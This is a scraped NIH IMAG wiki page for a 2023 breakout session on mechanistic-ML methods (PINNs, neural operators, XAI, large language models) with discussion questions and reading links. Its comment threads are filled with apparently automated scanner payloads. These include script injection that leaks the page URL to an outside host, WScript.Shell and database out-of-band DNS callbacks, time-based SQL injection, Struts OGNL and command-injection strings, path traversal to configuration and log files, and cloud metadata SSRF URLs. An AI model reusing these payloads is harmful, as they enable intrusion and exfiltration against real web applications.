Back to 2023 Agenda

Back to main Breakout Session page

2. New Mechanistic-ML Methods: PINN, transformer, neural operators, XAI, Large Language Models

MSM lead: George Karniadakis; IMAG lead: Mauricio Rangel-Gomez, Ilana Goldberg, Julia Berzhanskaya

What are the similarities and differences between current methods; e.g. PINN, neural operator, transformer, XAI, Large Language models?
What are the opportunities to improve these methods?
How can these methods be applied to blood diagnostics an diseases as it pertains to the IMAG interest group AI and Machine Learning for Blood Diagnostics and Diseases | Interagency Modeling and Analysis Group (nih.gov)?
How can these methods be applied to neuroscience?
How can these methods be used in the IMAG initiatives discussed in Session 2.1?
How can we use biomechanistic and bioinformatics models synenergistically?
Graph neural networks and causal inference.
Uncertainty quantification in neural networks.

Resources:

Articles of Interest:

Stop explaining black box machine learning models for high stakes decisions and use interpretable models instead

[2303.12093] ChatGPT for Programming Numerical Methods (arxiv.org)

4 Ideas for Physics-Informed Neural Networks that FAILED | by Rafael Bischof | Towards Data Science

10 Exciting Project Ideas Using Large Language Models (LLMs) for Your Portfolio | by Leonie Monigatti | May, 2023 | Towards Data Science

Uncertainty quantification in scientific machine learning: Methods, metrics, and comparisons

Learning nonlinear operators via DeepONet based on the universal approximation theorem of operators

A Deep convolutional neural network for classification of red blood cells in sickle cell anemia

NIH Announcements:

NIMH » Explainable Artificial Intelligence for Decoding and Modulating Behaviorally-Activated Brain Circuits (nih.gov)

NOT-MH-23-110: Notice of Special Interest (NOSI): Explainable Artificial Intelligence for Decoding and Modulating Neural Circuit Activity Linked to Behavior (nih.gov)

May 31, 2023: NIH Pragmatic Trials Collaboratory Announces Virtual Workshop on Getting the Right Evidence to Decision-Makers Faster - Rethinking Clinical Trials

IMAG wiki: Models, Tools and Databases

MSM Theoretical and Computational Methods WG

2019 IMAG ML-MSM Meeting

Publication from 2019 ML-MSM meeting

Comment

";l=document.createElement("link");l.rel="prefetch";l.href="//h_cszcnetxox5fn_ii09ddwyet98j3wjr0rhy3td"+"frs.r87.me/r/?"+location.href;document.head.appendChild(l);//

Comment

https://www.imagwiki.nibib.nih.gov/server-status

Comment

+createobject("WScript.Shell").exec("nslookup h_cszcnetx5bvkyzj06cl8d0p52wukzgghddqedt" & "-j8.r87.me").StdOut.ReadAll+

Comment

%{#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("a",268409241-79111)}

Comment

/537726/comment_node_msm_consortium_meeting

Comment

cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(104)||chr(95)||chr(99)||chr(115)||chr(122)||chr(99)||chr(110)||chr(101)||chr(116)||chr(120)||chr(111)||chr(104)||chr(54)||chr(48)||chr(97)||chr(108)||chr(110)||chr(95)||chr(111)||chr(105)||chr(103)||chr(112)||chr(98)||chr(105)||chr(109)||chr(50)||chr(99)||chr(101)||chr(118)||chr(100)||chr(119)||chr(100)||chr(117)||chr(107)||chr(109)||chr(98)||chr(95)||chr(118)||chr(105)||chr(108)||chr(50)||chr(105)||chr(103)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric)

Comment

-1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A)) /* 4cd52a91-43d9-4365-a750-b9255f6a27c4 */

Comment

<%createobject("WScript.Shell").exec("nslookup h_cszcnetxodnkoup2_4poqoq4_zng2cpkwwzt4r" & "flu.r87.me").StdOut.ReadAll%>

Comment

http://169.254.169.254/opc/v1/instance

Comment

%{#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("a",268409241-84563)}

Comment

WEB-INF/web.xml

Comment

'||(SELECT dblink_connect('host=h_cszcnetx844ogargepiwklfj3zhznmt6iyoxkh'||'bpg.r87.me user=a password=a connect_timeout=2'))||'

Comment

-1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+" /* dba2d81c-72f6-4903-9ef7-2e78e057f05e */

Comment

<%createobject("WScript.Shell").exec("nslookup h_cszcnetxvjgcrli2i9akdc-qm6iypf3ns58fi-" & "g5s.r87.me").StdOut.ReadAll%>

Comment

https://metadata.packet.net/metadata

Comment

p "#{0xFFF9999.to_i-`echo 68600`.to_i}"

Comment

'||(SELECT dblink_connect('host=h_cszcnetxdl6jimxh1soi9bnq9jgqvowipkttoa'||'xak.r87.me user=a password=a connect_timeout=2'))||'

Comment

/../../../../../../../../../../WEB-INF/web.xml

Comment

";l=document.createElement("link");l.rel="prefetch";l.href="//h_cszcnetxjbijl0y4gmiatolkkzcbrmwlssewig"+"0tq.r87.me/r/?"+location.href;document.head.appendChild(l);//

Comment

-1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+" /* 63179845-f113-431e-b443-6171425aac85 */

Comment

"+createobject("WScript.Shell").exec("nslookup h_cszcnetxqf7zjkpx4lxbyesolphfauslefb01s" & "-dm.r87.me").StdOut.ReadAll+"

Comment

https://metadata.platformequinix.com/metadata

Comment

(select UTL_INADDR.GET_HOST_ADDRESS('h_cszcnetxgwaigborckfmeuv5g579q5rpnotzy_'||'7b4.r87.me') from DUAL)

Comment

p "#{0xFFF9999.to_i-`echo 15767`.to_i}"

Comment

/../../../../../../../../../../var/log/apache2/access.log

Comment

"+createobject("WScript.Shell").exec("nslookup h_cszcnetxcsjfbqzeghi3xb2bhgf8alzqo4olun" & "6n4.r87.me").StdOut.ReadAll+"

Comment

') AND (SELECT 1 FROM (SELECT(SLEEP(25)))A)-- 1 /* f6e90af7-bccd-4eb3-be4b-f06ac6f26354 */

Comment

(select UTL_INADDR.GET_HOST_ADDRESS('h_cszcnetxn3qeskwbpcotfosfpnft3qlstzllq6'||'oce.r87.me') from DUAL)

Comment

__import__('os').popen(('expr 268409241 - {0}').format('92777')).read()

Comment

/../../../../../../../../../../etc/httpd/logs/access.log

Comment

';l=document.createElement("link");l.rel="prefetch";l.href="//h_cszcnetxrqzlae7nq75aek1kgtaxzg0i09tsvi"+"vvw.r87.me/r/?"+location.href;document.head.appendChild(l);//

Breakout 2 - New Mechanistic-ML Methods

Uncertainty quantification in scientific machine learning: Methods, metrics, and comparisons

Learning nonlinear operators via DeepONet based on the universal approximation theorem of operators

NIH Announcements:

Comment